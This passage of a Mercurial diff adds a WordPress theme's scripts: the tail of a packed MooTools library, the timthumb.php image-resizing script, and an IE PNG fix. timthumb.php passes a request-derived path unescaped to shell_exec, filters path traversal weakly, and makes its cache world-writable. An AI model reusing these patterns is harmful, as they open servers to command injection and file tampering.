19({r:{4B:V,25:\'3Y\',4f:19.1u,97:19.1u,2o:19.1u,92:19.1u,6Z:19.1u,1t:V,3a:{x:\'1m\',y:\'1j\'},3E:V,6O:6},1n:h(q,r){c.3v(r);c.B=$(q);c.4B=$(c.r.4B)||c.B;c.2O={\'W\':{},\'1h\':{}};c.F={\'1d\':{},\'W\':{}};c.2g={\'1d\':c.1d.3I(c),\'3V\':c.3V.3I(c),\'36\':c.36.3I(c),\'1K\':c.1K.Q(c)};c.95();o(c.r.1n)c.r.1n.1Q(c)},95:h(){c.4B.1L(\'5X\',c.2g.1d);k c},a8:h(){c.4B.49(\'5X\',c.2g.1d);k c},1d:h(u){c.1o(\'97\',c.B);c.2O.1d=u.1Y;m 1t=c.r.1t;c.1t={\'x\':[],\'y\':[]};G(m z 15 c.r.3a){o(!c.r.3a[z])54;c.F.W[z]=c.B.1R(c.r.3a[z]).2G();c.2O.1h[z]=u.1Y[z]-c.F.W[z];o(1t&&1t[z]){G(m i=0;i<2;i++){o($2i(1t[z][i]))c.1t[z][i]=($t(1t[z][i])==\'h\')?1t[z][i]():1t[z][i]}}}o($t(c.r.3E)==\'4w\')c.r.3E={\'x\':c.r.3E,\'y\':c.r.3E};K.2C(\'2Y\',c.2g.3V);K.2C(\'6x\',c.2g.1K);c.1o(\'4f\',c.B);u.1K()},3V:h(u){m 93=1c.3w(1c.9Z(1c.3d(u.1Y.x-c.2O.1d.x,2)+1c.3d(u.1Y.y-c.2O.1d.y,2)));o(93>c.r.6O){K.3L(\'2Y\',c.2g.3V);K.2C(\'2Y\',c.2g.36);c.36(u);c.1o(\'92\',c.B)}u.1K()},36:h(u){c.4u=V;c.2O.W=u.1Y;G(m z 15 c.r.3a){o(!c.r.3a[z])54;c.F.W[z]=c.2O.W[z]-c.2O.1h[z];o(c.1t[z]){o($2i(c.1t[z][1])&&(c.F.W[z]>c.1t[z][1])){c.F.W[z]=c.1t[z][1];c.4u=1a}14 o($2i(c.1t[z][0])&&(c.F.W[z]q.1m&&W.xq.1j)},1K:h(){o(c.2x&&!c.4u)c.2x.1o(\'9H\',[c.B,c]);14 c.B.1o(\'9J\',c);c.1q();k c}});I.N({9M:h(r){k J 3z.91(c,r)}});m 2V=J 33({r:{5W:V,5Y:V,3h:V,6T:V},1U:h(1g,F,r){r=$1X(c.r,r);F=9E(F);o(r.5W)F+=\'; 5W=\'+r.5W;o(r.5Y)F+=\'; 5Y=\'+r.5Y;o(r.3h){m 5A=J 98();5A.9K(5A.99()+r.3h*24*60*60*9j);F+=\'; al=\'+5A.bd()}o(r.6T)F+=\'; 6T\';K.3Q=1g+\'=\'+F;k $N(r,{\'1g\':1g,\'F\':F})},53:h(1g){m F=K.3Q.2B(\'(?:^|;)\\\\s*\'+1g.9f()+\'=([^;]*)\');k F?aZ(F[1]):V},2y:h(3Q,r){o($t(3Q)==\'2w\')c.1U(3Q.1g,\'\',$1X(3Q,{3h:-1}));14 c.1U(3Q,\'\',$1X(r,{3h:-1}))}});m 8H=J 33({9a:h(1W,1v){1v=$1X({\'4R\':19.1u},1v);m 3f=J I(\'3f\',{\'3N\':1W}).5r({\'3n\':1v.4R,\'aS\':h(){o(c.4T==\'6v\')c.1o(\'3n\')}});4b 1v.4R;k 3f.5J(1v).28(K.5K)},1i:h(1W,1v){k J I(\'b9\',$1X({\'9z\':\'ba\',\'b7\':\'b3\',\'t\':\'2s/1i\',\'4Y\':1W},1v)).28(K.5K)},3S:h(1W,1v){1v=$1X({\'4R\':19.1u,\'b2\':19.1u,\'b4\':19.1u},1v);m 3S=J b5();3S.3N=1W;m B=J I(\'7q\',{\'3N\':1W});[\'3n\',\'8X\',\'8W\'].1D(h(t){m u=1v[\'4W\'+t];4b 1v[\'4W\'+t];B.1L(t,h(){c.49(t,12.7p);u.1Q(c)})});o(3S.2A&&3S.34)B.1o(\'3n\',B,1);k B.5J(1v)},5E:h(42,r){r=$1X({2o:19.1u,8I:19.1u},r);o(!42.1f)42=[42];m 5E=[];m 5G=0;42.1D(h(1W){m 7q=J 8H.3S(1W,{\'4R\':h(){r.8I.1Q(c,5G);5G++;o(5G==42.M)r.2o()}});5E.1f(7q)});k J 1M(5E)}});m 2T=J 19({M:0,1n:h(2w){c.L=2w||{};c.4D()},53:h(1g){k(c.5I(1g))?c.L[1g]:1r},5I:h(1g){k(1g 15 c.L)},1U:h(1g,F){o(!c.5I(1g))c.M++;c.L[1g]=F;k c},4D:h(){c.M=0;G(m p 15 c.L)c.M++;k c},2y:h(1g){o(c.5I(1g)){4b c.L[1g];c.M--}k c},1D:h(O,Q){$1D(c.L,O,Q)},N:h(L){$N(c.L,L);k c.4D()},1X:h(){c.L=$1X.3m(1r,[c.L].N(12));k c.4D()},1u:h(){c.L={};c.M=0;k c},1C:h(){m 1C=[];G(m C 15 c.L)1C.1f(C);k 1C},1I:h(){m 1I=[];G(m C 15 c.L)1I.1f(c.L[C]);k 1I}});h $H(L){k J 2T(L)};2T.2V=2T.N({1n:h(1E,r){c.1E=1E;c.r=$N({\'8A\':1a},r||{});c.3n()},8z:h(){o(c.M==0){2V.2y(c.1E,c.r);k 1a}m 78=8F.8J(c.L);o(78.M>az)k V;2V.1U(c.1E,78,c.r);k 1a},3n:h(){c.L=8F.79(2V.53(c.1E),1a)||{};c.4D()}});2T.2V.2c={};[\'N\',\'1U\',\'1X\',\'1u\',\'2y\'].1D(h(2N){2T.2V.2c[2N]=h(){2T.1z[2N].3m(c,12);o(c.r.8A)c.8z();k c}});2T.2V.3o(2T.2V.2c);m 8D=J 19({r:{4y:20,7b:1,5i:h(x,y){c.B.31(x,y)}},1n:h(B,r){c.3v(r);c.B=$(B);c.7f=([P,K].1e(B))?$(K.4i):c.B},1d:h(){c.7d=c.8B.3I(c);c.7f.2C(\'2Y\',c.7d)},1K:h(){c.7f.3L(\'2Y\',c.7d);c.1w=$4c(c.1w)},8B:h(u){c.1Y=(c.B==P)?u.8C:u.1Y;o(!c.1w)c.1w=c.2f.3s(50,c)},2f:h(){m q=c.B.5S();m 1h=c.B.3g();m 2S={\'x\':0,\'y\':0};G(m z 15 c.1Y){o(c.1Y[z]<(c.r.4y+1h[z])&&q.2f[z]!=0)2S[z]=(c.1Y[z]-c.r.4y-1h[z])*c.r.7b;14 o(c.1Y[z]+c.r.4y>(q.2P[z]+1h[z])&&q.2f[z]+q.2P[z]!=q.5Z[z])2S[z]=(c.1Y[z]-q.2P[z]+c.r.4y-1h[z])*c.r.7b}o(2S.y||2S.x)c.1o(\'5i\',[q.2f.x+2S.x,q.2f.y+2S.y])}});8D.3o(J 2e,J 44);m 6B=J 19({r:{5i:19.1u,2o:19.1u,6U:h(1h){c.3x.26(c.p,1h)},1P:\'7e\',5f:56,1x:0},1n:h(q,3x,r){c.B=$(q);c.3x=$(3x);c.3v(r);c.6L=-1;c.6K=-1;c.1T=-1;c.B.1L(\'5X\',c.8K.3I(c));m 55,1x;2k(c.r.1P){17\'7e\':c.z=\'x\';c.p=\'1m\';55={\'x\':\'1m\',\'y\':V};1x=\'3M\';1J;17\'7u\':c.z=\'y\';c.p=\'1j\';55={\'x\':V,\'y\':\'1j\'};1x=\'3D\'}c.22=c.B[1x]-c.3x[1x]+(c.r.1x*2);c.8S=c.3x[1x]/2;c.8L=c.B[\'53\'+c.p.70()].Q(c.B);c.3x.26(\'1s\',\'52\').26(c.p,-c.r.1x);m 6Q={};6Q[c.z]=[-c.r.1x,c.22-c.r.1x];c.36=J 3z.2m(c.3x,{1t:6Q,3a:55,6O:0,4f:h(){c.5m()}.Q(c),6Z:h(){c.5m()}.Q(c),2o:h(){c.5m();c.2j()}.Q(c)});o(c.r.1n)c.r.1n.1Q(c)},1U:h(1T){c.1T=1T.1t(0,c.r.5f);c.5n();c.2j();c.1o(\'6U\',c.8T(c.1T));k c},8K:h(u){m 1s=u.1Y[c.z]-c.8L()-c.8S;1s=1s.1t(-c.r.1x,c.22-c.r.1x);c.1T=c.6A(1s);c.5n();c.2j();c.1o(\'6U\',1s)},5m:h(){c.1T=c.6A(c.36.F.W[c.z]);c.5n()},5n:h(){o(c.6L!=c.1T){c.6L=c.1T;c.1o(\'5i\',c.1T)}},2j:h(){o(c.6K!==c.1T){c.6K=c.1T;c.1o(\'2o\',c.1T+\'\')}},6A:h(1s){k 1c.3w((1s+c.r.1x)/c.22*c.r.5f)},8T:h(1T){k c.22*1T/c.r.5f}});6B.3o(J 2e);6B.3o(J 44);m 9v=J 19({r:{9t:h(3r){3r.26(\'3C\',\'6y\')},9u:h(3r){3r.26(\'3C\',\'4K\')},7j:30,9o:56,9n:56,1l:\'aF\',4A:{\'x\':16,\'y\':16},4j:V},1n:h(U,r){c.3v(r);c.3l=J I(\'4L\',{\'4k\':c.r.1l+\'-3r\',\'6I\':{\'1s\':\'3P\',\'1j\':\'0\',\'1m\':\'0\',\'3C\':\'4K\'}}).28(K.4i);c.2z=J I(\'4L\').28(c.3l);$$(U).1D(c.9B,c);o(c.r.1n)c.r.1n.1Q(c)},9B:h(q){q.$1G.3k=(q.4Y&&q.4l()==\'a\')?q.4Y.2Z(\'9C://\',\'\'):(q.9z||V);o(q.4h){m 5c=q.4h.4r(\'::\');o(5c.M>1){q.$1G.3k=5c[0].4m();q.$1G.4V=5c[1].4m()}14{q.$1G.4V=q.4h}q.9y(\'4h\')}14{q.$1G.4V=V}o(q.$1G.3k&&q.$1G.3k.M>c.r.7j)q.$1G.3k=q.$1G.3k.7i(0,c.r.7j-1)+"&aD;";q.1L(\'7o\',h(u){c.1d(q);o(!c.r.4j)c.7n(u);14 c.1s(q)}.Q(c));o(!c.r.4j)q.1L(\'2Y\',c.7n.3I(c));m 2j=c.2j.Q(c);q.1L(\'7r\',2j);q.1L(\'4q\',2j)},1d:h(q){c.2z.1u();o(q.$1G.3k){c.4h=J I(\'9w\').28(J I(\'4L\',{\'4k\':c.r.1l+\'-4h\'}).28(c.2z)).5L(q.$1G.3k)}o(q.$1G.4V){c.2s=J I(\'9w\').28(J I(\'4L\',{\'4k\':c.r.1l+\'-2s\'}).28(c.2z)).5L(q.$1G.4V)}$4c(c.1w);c.1w=c.7a.1V(c.r.9o,c)},2j:h(u){$4c(c.1w);c.1w=c.4U.1V(c.r.9n,c)},1s:h(B){m 1h=B.3g();c.3l.5H({\'1m\':1h.x+c.r.4A.x,\'1j\':1h.y+c.r.4A.y})},7n:h(u){m 9m={\'x\':P.7h(),\'y\':P.76()};m 2f={\'x\':P.77(),\'y\':P.75()};m 3r={\'x\':c.3l.3M,\'y\':c.3l.3D};m 1H={\'x\':\'1m\',\'y\':\'1j\'};G(m z 15 1H){m 1h=u.1Y[z]+c.r.4A[z];o((1h+3r[z]-2f[z])>9m[z])1h=u.1Y[z]-c.r.4A[z]-3r[z];c.3l.26(1H[z],1h)}},7a:h(){o(c.r.9x)c.1w=c.4U.1V(c.r.9x,c);c.1o(\'9t\',[c.3l])},4U:h(){c.1o(\'9u\',[c.3l])}});9v.3o(J 2e,J 44);',62,812,'||||||||||||this|||||function|||return||var||if||el|options||type|event|||||||element|property|||value|for||Element|new|document|obj|length|extend|fn|window|bind|from||to|elements|false|now|events|param||||arguments||else|in||case|Fx|Class|true|args|Math|start|contains|push|key|pos|css|top|items|className|left|initialize|fireEvent|array|parent|null|position|limit|empty|properties|timer|offset|result|prototype|style|selector|keys|each|name|props|tmp|prop|values|break|stop|addEvent|Elements|transition|parsed|mode|call|getStyle|overflown|step|set|delay|source|merge|page|relatedTarget||current|max|custom||unit|setStyle||inject|opacity|Garbage|Array|Methods|nocash|Events|scroll|bound|temp|chk|end|switch|Event|Base|rgb|onComplete|params|parse|documentElement|text|ie|join|create|object|overed|remove|wrapper|width|match|addListener|filter|map|container|toInt|context|margin|tag|parentNode|string|item|method|mouse|size|Transitions|CSS|change|Hash|test|Cookie|shared|target|mousemove|replace||scrollTo||Abstract|height|returns|drag||||modifiers|iCss|index|pow|time|script|getPosition|duration|getElementsByTagName|iTo|myTitle|toolTip|apply|load|implement|xpath|iterable|tip|periodical|border|previous|setOptions|round|knob|Styles|Drag|webkit|id|visibility|offsetHeight|grid|chains|hex|compute|bindWithEvent|setNow|increase|removeListener|offsetWidth|src|min|absolute|cookie|cont|image|htmlElement|bit|check|getValue|getNow|px|select||fx|sources|fromTo|Options|wait||mousewheel|indexOf|removeEvent|native|delete|clear|results|collect|onStart|len|title|body|fixed|class|getTag|trim|precision|iFrom|domReady|trash|split|iNow|parseInt|out|next|number|walk|area|option|offsets|handle|unique|setLength|bottom|right|parseFloat|klass|scrollLeft|scrollTop|hidden|div|toLowerCase|HTMLElement|open|val|mix|onload|layout|readyState|hide|myText|on|mp|href|forEach||Listeners|relative|get|continue|mod|100|typeof|setProperty|tagName|code|fKey|dual|getProperty|preventDefault|steps|stopPropagation|Properties|onChange|webkit419|defined|loaded|draggedKnob|checkStep|getElementById|regex|droppables|addEvents|getElementsBySelector|splice|included|setMany|realType|fix|Multi|hexToRgb|date|scrollWidth|removeEvents|evType|images|generic|counter|setStyles|hasKey|setProperties|head|setHTML|getElements|proto|every|color|scrollHeight|currentStyle|getSize|rgbToHex|brother|attempt|domain|mousedown|path|scrollSize||getCoordinates|Function|Style|getParam|operator|unload|getItems|ie_ready|mouseout|Dom|found|mouseover|regexp|hasChild|catch|while|NativeEvents|concat|add|gecko|iProps|nodeType|DOMMouseScroll|try|String|pageX|pageY|addEventListener|domready|Color|complete|flag|mouseup|visible|getLast|toStep|Slider|node|insertBefore|Transition|include|compat|firstChild|styles|random|previousEnd|previousChange|appendChild|RegExp|snap|default|lim|xhtml|clean|secure|onTick|camelCase|charAt|first|hasClass|onDrag|capitalize|cssText|pairs|easeType|getMany|getScrollTop|getHeight|getScrollLeft|str|evaluate|show|velocity|transitions|coord|horizontal|mousemover|newArray|getWidth|substr|maxTitleChars|PI|innerText|pick|locate|mouseenter|callee|img|mouseleave|merged|padding|vertical|interval|keydown|copy|prefix|resolver|constructor|ie6|picked|undefined|pp|Merge|toUpperCase|beforeunload|Number|filterById|filterByAttribute|filterByClass|slice|after|Right|Bottom|which|clientY|Top|0px|innerHTML|textContent|fixStyle|Width|Left|clientX|multiple|selected|PropertiesIFlag|extended|checked|disabled|direction|borderShort|wheelDelta|shift|styleSheet|appendText|removeEventListener|argument|contents|removeClass|before|cloneEvents|toFloat|createElement|elementsProperty|where|addClass|setOpacity|childNodes|fixRelatedTarget|nodeValue|removeChild|getNext|hyphenate|zoom|defaultView|relatedTargetGecko|click|Single|save|autoSave|getCoords|client|Scroller|Chain|Json|wheelStops|Asset|onProgress|toString|clickedElement|getPos|getScrollHeight|getScrollWidth|pageYOffset|pageXOffset|callChain|delta|half|toPosition|onCancel|fps|error|abort|getTop|getLeft|checkAgainst|Move|onSnap|distance|cos|attach|sin|onBeforeStart|Date|getTime|javascript|getStyles|toElement|full|injectAfter|escapeRegExp|slideOut|slideIn|adopt|1000|clientHeight|iParsed|win|hideDelay|showDelay|normal|sel|getElement|opera|onShow|onHide|Tips|span|timeout|removeAttribute|rel|clientWidth|build|http|getComputedStyle|encodeURIComponent|MooTools|getPrevious|drop|Sibling|emptydrop|setTime|getPropertyValue|makeDraggable|hasLayout|styleFloat|float|clearInterval|Window|cssFloat|clearTimeout|collection|zIndex|floor|alpha|over|sqrt|Quart|getProperties|removeProperty|Cubic|setAttribute|setText|getText|nodeName|detach|Quint|Quad|attributes|lastChild|whitespace|leave|version|getParent|getChildren|makeResizable|getAttribute|textnode|expires|getFirst|replaceChild|embed||DOMElement|execCommand|times|BackgroundImageCache|boolean|iframe|khtml|Object|1999|4096|bindAsEventListener|pass|some|hellip|associate|tool|getRandom|clearChain|chain|err|setInterval|setTimeout|transparent|getBoxObjectFor|webkit420|cloneNode|XMLHttpRequest|clone|readystatechange|injectTop|replaceWith|ActiveXObject|toggleClass|Document|createTextNode|decodeURIComponent|ie7|injectInside|onabort|screen|onerror|Image|taintEnabled|media|injectBefore|link|stylesheet|all|navigator|toGMTString|Elastic|starts|effects|Scroll|returnValue|toTop|cancelBubble|namespaceURI|effect|up|offsetLeft|do|enter|ES|fromElement|button|with|overflow|111|keyCode|keyup|detail|fromCharCode|Slide|rightClick|toBottom|toLeft|toRight|menu|offsetTop|down|dblclick|resize|innerHeight|move|focus|500|innerWidth|onDomReady|write|defer|keypress|onreadystatechange|DOMContentLoaded|clearTimer|blur|esc|https|protocol|location|offsetParent|filterByTag|space|void|tab|submit|reset|backspace|contextmenu|wheel|120|colSpan|rowspan|colspan|htmlFor|Pow|ease|rowSpan|accesskey|metaKey|maxLength|tabIndex|tabindex|accessKey|Expo|snapshotItem|618|getElementsByClassName|Bounce|www|org|w3|Back|Sine|borderStyle|borderColor|borderWidth|Circ|acos|readonly|maxlength|toggle|srcElement|CollectGarbage|easeIn|readOnly|XPathResult|shiftKey|control|altKey|meta|substring|alt|ctrlKey|snapshotLength|UNORDERED_NODE_SNAPSHOT_TYPE|Out|In|InOut|frameBorder|frameborder|easeOut|linear|detachEvent|attachEvent|easeInOut'.split('|'),0,{})) diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/scripts/timthumb.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/scripts/timthumb.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,606 @@ + +*/ + +/* +$sizeLimits = array( + "100x100", + "150x150", +); +*/ + +define("CACHE_SIZE", 200); // number of files to store before clearing cache +define("CACHE_CLEAR", 5); // maximum number of files to delete on each cache clear +define("VERSION", "1.08"); // version number (to force a cache refresh + +$imageFilters = array( + "1" => array(IMG_FILTER_NEGATE, 0), + "2" => array(IMG_FILTER_GRAYSCALE, 0), + "3" => array(IMG_FILTER_BRIGHTNESS, 1), + "4" => array(IMG_FILTER_CONTRAST, 1), + "5" => array(IMG_FILTER_COLORIZE, 4), + "6" => array(IMG_FILTER_EDGEDETECT, 0), + "7" => array(IMG_FILTER_EMBOSS, 0), + "8" => array(IMG_FILTER_GAUSSIAN_BLUR, 0), + "9" => array(IMG_FILTER_SELECTIVE_BLUR, 0), + "10" => array(IMG_FILTER_MEAN_REMOVAL, 0), + "11" => array(IMG_FILTER_SMOOTH, 0), +); + +// sort out image source +$src = get_request("src", ""); +if($src == "" || strlen($src) <= 3) { + displayError("no image specified"); +} + +// clean params before use +$src = cleanSource($src); +// last modified time (for caching) +$lastModified = filemtime($src); + +// get properties +$new_width = preg_replace("/[^0-9]+/", "", get_request("w", 0)); +$new_height = preg_replace("/[^0-9]+/", "", get_request("h", 0)); +$zoom_crop = preg_replace("/[^0-9]+/", "", get_request("zc", 1)); +$quality = preg_replace("/[^0-9]+/", "", get_request("q", 80)); +$filters = get_request("f", ""); + +if ($new_width == 0 && $new_height == 0) { + $new_width = 100; + $new_height = 100; +} + +// set path to cache directory (default is ./cache) +// this can be changed to a different location +$cache_dir = './cache'; + +// get mime type of src +$mime_type = mime_type($src); + +// check to see if this image is in the cache already +check_cache( $cache_dir, $mime_type ); + +// if not in cache then clear some space and generate a new file +cleanCache(); + +ini_set('memory_limit', "30M"); + +// make sure that the src is gif/jpg/png +if(!valid_src_mime_type($mime_type)) { + displayError("Invalid src mime type: " .$mime_type); +} + +// check to see if GD function exist +if(!function_exists('imagecreatetruecolor')) { + displayError("GD Library Error: imagecreatetruecolor does not exist"); +} + +if(strlen($src) && file_exists($src)) { + + // open the existing image + $image = open_image($mime_type, $src); + if($image === false) { + displayError('Unable to open image : ' . $src); + } + + // Get original width and height + $width = imagesx($image); + $height = imagesy($image); + + // don't allow new width or height to be greater than the original + if( $new_width > $width ) { + $new_width = $width; + } + if( $new_height > $height ) { + $new_height = $height; + } + + // generate new w/h if not provided + if( $new_width && !$new_height ) { + + $new_height = $height * ( $new_width / $width ); + + } elseif($new_height && !$new_width) { + + $new_width = $width * ( $new_height / $height ); + + } elseif(!$new_width && !$new_height) { + + $new_width = $width; + $new_height = $height; + + } + + // create a new true color image + $canvas = imagecreatetruecolor( $new_width, $new_height ); + imagealphablending($canvas, false); + // Create a new transparent color for image + $color = imagecolorallocatealpha($canvas, 0, 0, 0, 127); + // Completely fill the background of the new image with allocated color. + imagefill($canvas, 0, 0, $color); + // Restore transparency blending + imagesavealpha($canvas, true); + + if( $zoom_crop ) { + + $src_x = $src_y = 0; + $src_w = $width; + $src_h = $height; + + $cmp_x = $width / $new_width; + $cmp_y = $height / $new_height; + + // calculate x or y coordinate and width or height of source + + if ( $cmp_x > $cmp_y ) { + + $src_w = round( ( $width / $cmp_x * $cmp_y ) ); + $src_x = round( ( $width - ( $width / $cmp_x * $cmp_y ) ) / 2 ); + + } elseif ( $cmp_y > $cmp_x ) { + + $src_h = round( ( $height / $cmp_y * $cmp_x ) ); + $src_y = round( ( $height - ( $height / $cmp_y * $cmp_x ) ) / 2 ); + + } + + imagecopyresampled( $canvas, $image, 0, 0, $src_x, $src_y, $new_width, $new_height, $src_w, $src_h ); + + } else { + + // copy and resize part of an image with resampling + imagecopyresampled( $canvas, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height ); + + } + + if ($filters != "") { + // apply filters to image + $filterList = explode("|", $filters); + foreach($filterList as $fl) { + $filterSettings = explode(",", $fl); + if(isset($imageFilters[$filterSettings[0]])) { + + for($i = 0; $i < 4; $i ++) { + if(!isset($filterSettings[$i])) { + $filterSettings[$i] = null; + } + } + + switch($imageFilters[$filterSettings[0]][1]) { + + case 1: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1]); + break; + + case 2: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1], $filterSettings[2]); + break; + + case 3: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1], $filterSettings[2], $filterSettings[3]); + break; + + default: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0]); + break; + + } + } + } + } + + // output image to browser based on mime type + show_image($mime_type, $canvas, $cache_dir); + + // remove image from memory + imagedestroy($canvas); + +} else { + + if(strlen($src)) { + displayError("image " . $src . " not found"); + } else { + displayError("no source specified"); + } + +} + +/** + * + */ +function show_image($mime_type, $image_resized, $cache_dir) { + + global $quality; + + // check to see if we can write to the cache directory + $is_writable = 0; + $cache_file_name = $cache_dir . '/' . get_cache_file(); + + if(touch($cache_file_name)) { + + // give 666 permissions so that the developer + // can overwrite web server user + chmod($cache_file_name, 0666); + $is_writable = 1; + + } else { + + $cache_file_name = NULL; + header('Content-type: ' . $mime_type); + + } + + $quality = floor($quality * 0.09); + + imagepng($image_resized, $cache_file_name, $quality); + + if($is_writable) { + show_cache_file($cache_dir, $mime_type); + } + + imagedestroy($image_resized); + + displayError("error showing image"); + +} + +/** + * + */ +function get_request( $property, $default = 0 ) { + + if( isset($_REQUEST[$property]) ) { + + return $_REQUEST[$property]; + + } else { + + return $default; + + } + +} + +/** + * + */ +function open_image($mime_type, $src) { + + if(stristr($mime_type, 'gif')) { + + $image = imagecreatefromgif($src); + + } elseif(stristr($mime_type, 'jpeg')) { + + @ini_set('gd.jpeg_ignore_warning', 1); + $image = imagecreatefromjpeg($src); + + } elseif( stristr($mime_type, 'png')) { + + $image = imagecreatefrompng($src); + + } + + return $image; + +} + +/** + * clean out old files from the cache + * you can change the number of files to store and to delete per loop in the defines at the top of the code + */ +function cleanCache() { + + $files = glob("cache/*", GLOB_BRACE); + + $yesterday = time() - (24 * 60 * 60); + + if (count($files) > 0) { + + usort($files, "filemtime_compare"); + $i = 0; + + if (count($files) > CACHE_SIZE) { + + foreach ($files as $file) { + + $i ++; + + if ($i >= CACHE_CLEAR) { + return; + } + + if (filemtime($file) > $yesterday) { + return; + } + + unlink($file); + + } + + } + + } + +} + +/** + * compare the file time of two files + */ +function filemtime_compare($a, $b) { + + return filemtime($a) - filemtime($b); + +} + +/** + * determine the file mime type + */ +function mime_type($file) { + + if (stristr(PHP_OS, 'WIN')) { + $os = 'WIN'; + } else { + $os = PHP_OS; + } + + $mime_type = ''; + + if (function_exists('mime_content_type')) { + $mime_type = mime_content_type($file); + } + + // use PECL fileinfo to determine mime type + if (!valid_src_mime_type($mime_type)) { + if (function_exists('finfo_open')) { + $finfo = finfo_open(FILEINFO_MIME); + $mime_type = finfo_file($finfo, $file); + finfo_close($finfo); + } + } + + // try to determine mime type by using unix file command + // this should not be executed on windows + if (!valid_src_mime_type($mime_type) && $os != "WIN") { + if (preg_match("/FREEBSD|LINUX/", $os)) { + $mime_type = trim(@shell_exec('file -bi "' . $file . '"')); + } + } + + // use file's extension to determine mime type + if (!valid_src_mime_type($mime_type)) { + + // set defaults + $mime_type = 'image/png'; + // file details + $fileDetails = pathinfo($file); + $ext = strtolower($fileDetails["extension"]); + // mime types + $types = array( + 'jpg' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'png' => 'image/png', + 'gif' => 'image/gif' + ); + + if (strlen($ext) && strlen($types[$ext])) { + $mime_type = $types[$ext]; + } + + } + + return $mime_type; + +} + +/** + * + */ +function valid_src_mime_type($mime_type) { + + if (preg_match("/jpg|jpeg|gif|png/i", $mime_type)) { + return true; + } + + return false; + +} + +/** + * + */ +function check_cache($cache_dir, $mime_type) { + + // make sure cache dir exists + if (!file_exists($cache_dir)) { + // give 777 permissions so that developer can overwrite + // files created by web server user + mkdir($cache_dir); + chmod($cache_dir, 0777); + } + + show_cache_file($cache_dir, $mime_type); + +} + +/** + * + */ +function show_cache_file($cache_dir) { + + $cache_file = $cache_dir . '/' . get_cache_file(); + + if (file_exists($cache_file)) { + + $gmdate_mod = gmdate("D, d M Y H:i:s", filemtime($cache_file)); + + if(! strstr($gmdate_mod, "GMT")) { + $gmdate_mod .= " GMT"; + } + + if (isset($_SERVER["HTTP_IF_MODIFIED_SINCE"])) { + + // check for updates + $if_modified_since = preg_replace("/;.*$/", "", $_SERVER["HTTP_IF_MODIFIED_SINCE"]); + + if ($if_modified_since == $gmdate_mod) { + header("HTTP/1.1 304 Not Modified"); + exit; + } + + } + + $fileSize = filesize($cache_file); + + // send headers then display image + header("Content-Type: image/png"); + header("Accept-Ranges: bytes"); + header("Last-Modified: " . $gmdate_mod); + header("Content-Length: " . $fileSize); + header("Cache-Control: max-age=9999, must-revalidate"); + header("Expires: " . $gmdate_mod); + + readfile($cache_file); + + exit; + + } + +} + +/** + * + */ +function get_cache_file() { + + global $lastModified; + static $cache_file; + + if(!$cache_file) { + $cachename = $_SERVER['QUERY_STRING'] . VERSION . $lastModified; + $cache_file = md5($cachename) . '.png'; + } + + return $cache_file; + +} + +/** + * check to if the url is valid or not + */ +function valid_extension ($ext) { + + if (preg_match("/jpg|jpeg|png|gif/i", $ext)) { + return TRUE; + } else { + return FALSE; + } + +} + +/** + * tidy up the image source url + */ +function cleanSource($src) { + + // remove slash from start of string + if(strpos($src, "/") == 0) { + $src = substr($src, -(strlen($src) - 1)); + } + + // remove http/ https/ ftp + $src = preg_replace("/^((ht|f)tp(s|):\/\/)/i", "", $src); + // remove domain name from the source url + $host = $_SERVER["HTTP_HOST"]; + $src = str_replace($host, "", $src); + $host = str_replace("www.", "", $host); + $src = str_replace($host, "", $src); + + // don't allow users the ability to use '../' + // in order to gain access to files below document root + + // src should be specified relative to document root like: + // src=images/img.jpg or src=/images/img.jpg + // not like: + // src=../images/img.jpg + $src = preg_replace("/\.\.+\//", "", $src); + + //print_r($_SERVER); + + // get path to image on file system + $src = get_document_root($src) . '/' . $src; + + return $src; + + +} + +/** + * + */ +function get_document_root ($src) { + + // check for unix servers + if(@file_exists($_SERVER['DOCUMENT_ROOT'] . '/' . $src)) { + return $_SERVER['DOCUMENT_ROOT']; + } + + // the relative paths below are useful if timthumb is moved outside of document root + // specifically if installed in wordpress themes like mimbo pro: + // /wp-content/themes/mimbopro/scripts/timthumb.php + $paths = array( + ".", + "..", + "../..", + "../../..", + "../../../..", + "../../../../.." + ); + + foreach($paths as $path) { + if(@file_exists($path . '/' . $src)) { + return $path; + } + } + + // special check for microsoft servers + if(!isset($_SERVER['DOCUMENT_ROOT'])) { + $path = str_replace("/", "\\", $_SERVER['ORIG_PATH_INFO']); + $path = str_replace($path, "", $_SERVER['SCRIPT_FILENAME']); + + if( @file_exists( $path . '/' . $src ) ) { + return $path; + } + } + + displayError('file not found ' . $src); + +} + +/** + * generic error message + */ +function displayError($errorString = '') { + + header('HTTP/1.1 400 Bad Request'); + die($errorString); + +} +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/scripts/unitpngfix.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/scripts/unitpngfix.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,4 @@ +var clear="images/clear.gif" //path to clear.gif + +pngfix=function(){var els=document.getElementsByTagName('*');var ip=/\.png/i;var i=els.length;while(i-- >0){var el=els[i];var es=el.style;if(el.src&&el.src.match(ip)&&!es.filter){es.height=el.height;es.width=el.width;es.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+el.src+"',sizingMethod='crop')";el.src=clear;}else{var elb=el.currentStyle.backgroundImage;if(elb.match(ip)){var path=elb.split('"');var rep=(el.currentStyle.backgroundRepeat=='no-repeat')?'crop':'scale';es.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+path[1]+"',sizingMethod='"+rep+"')";es.height=el.clientHeight+'px';es.backgroundImage='none';var elkids=el.getElementsByTagName('*');if (elkids){var j=elkids.length;if(el.currentStyle.position!="absolute")es.position='static';while (j-- >0)if(!elkids[j].style.position)elkids[j].style.position="relative";}}}}} +window.attachEvent('onload',pngfix); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 